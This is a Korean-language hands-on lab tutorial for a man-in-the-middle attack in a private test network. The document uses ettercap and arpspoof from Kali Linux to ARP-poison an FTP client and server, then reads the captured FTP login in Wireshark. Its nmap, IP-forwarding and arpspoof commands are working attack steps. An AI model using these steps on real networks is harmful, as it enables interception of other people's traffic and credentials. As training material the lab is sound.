Packet Sniffing 공격

 

 

Ettercap 사용한 Kali Linux에서 Packet Sniffing 하기

 

 

 

■ 용어:

- Packet Sniffing

- Packet Capture

- Packet Monitoring

 

 

 

■작업 시나리오

windows2008(ftp CMD) ------- ftp -------> linux200(vsftpd)

                                         A

   l

    KaliLinux(중간에서 감청하는 작업)

 

 

■ 사용시스템

- Kali Linux(Attacker)

- linux200(FTP 서버: vsftpd) 192.168.20.200

- win2008 (FTP 클라이언트: ftp CMD) 192.168.20.201

 

 

[실습] ettercap 툴을 사용하여 패킷 스니핑을 해 보자.

 

 

 

(KaliLinux)

Ethernet Switch 환경에서 패킷을 스니핑하기 위해서는 arp spoofing 과정을 선수적으로 사용한다.

ettercap 툴(arpspoof CMD)을 사용하여 arp spoofing 과정을 수행한다.

 

■ Ettercap 실행하는 방법

# ettercap -G &

or

Kali Linux > Sniffing/Spoofing > Network Sniffers > Ettercap-graphic

 

① wireshark 실행

wireshark 툴을 실행한다. #wireshark &

 

② ethercap 툴을 실행하고 패킷 스니핑(arp spoofing + packet capture) 작업을 진행

 

# ettercap -G &  *(-T : text 방식)

 

Options -> Promisc mode (V) 되어있어야 한다.

무작위 모드

-------------------------------------------------

Sniff > Unified sniffing > eth1

 

Hosts > Scan fo hosts

Hosts > Host list

 

192.168.20.200 > Add to Target1

192.168.20.201 > Add to Target2

 

Mitm > Arp poisoning > Sniff remote connection

 

Start > start sniffing

-------------------------------------------------

 

명령어를 통한 ARP Spoofing	ettercap 툴을 통한 ARP Spoofing
# nmap -F 192.168.20.0/24   # echo 1 > /proc/sys/net/ipv4/ip_forward # arpspoof -i eth1 -t 192.168.20.200 192.168.20.201 # arpspoof -i eth1 -t 192.168.20.201 192.168.20.200	# ettercap -G & Hosts > Scan fo hosts   192.168.20.200 > Add to Target1 192.168.20.201 > Add to Target2 Mitm > Arp poisoning > Sniff remote connection

 

 

 

 

(win2008)

 

③ windows 2008 서버에서 ftp 명령어를 통해 linux200 서버에 접속하고 해제

c:> ftp 192.168.20.200

root 사용자로 로그인

 

ftp> ls

ftp> quit

 

 

(Kali Linux)

 

④ KaliLinux의 wireshark를 통해 패킷 분석

wireshark의 캡쳐된 패킷을 분석한다.

-> (Display filter : ftp)

 

 

 

[참고] ARP Spoofing 작업

(이전 작업)

(ㄱ) Host Sweeping : # nmap 192.168.20.0/24

(ㄴ) IP Forwarding : # echo 1 > /proc/sys/net/ipv4/ip_forward

(ㄷ) ARP Spoofing : # arpspoof -i eth1 -t 192.168.20.200 192.168.20.201

(현재 작업)

# ettercap -G &

 

 

 

(복원) ettercap 종료

Mitm > Stop mitm attack > 확인

Start > Stop sniffing

ettercap 종료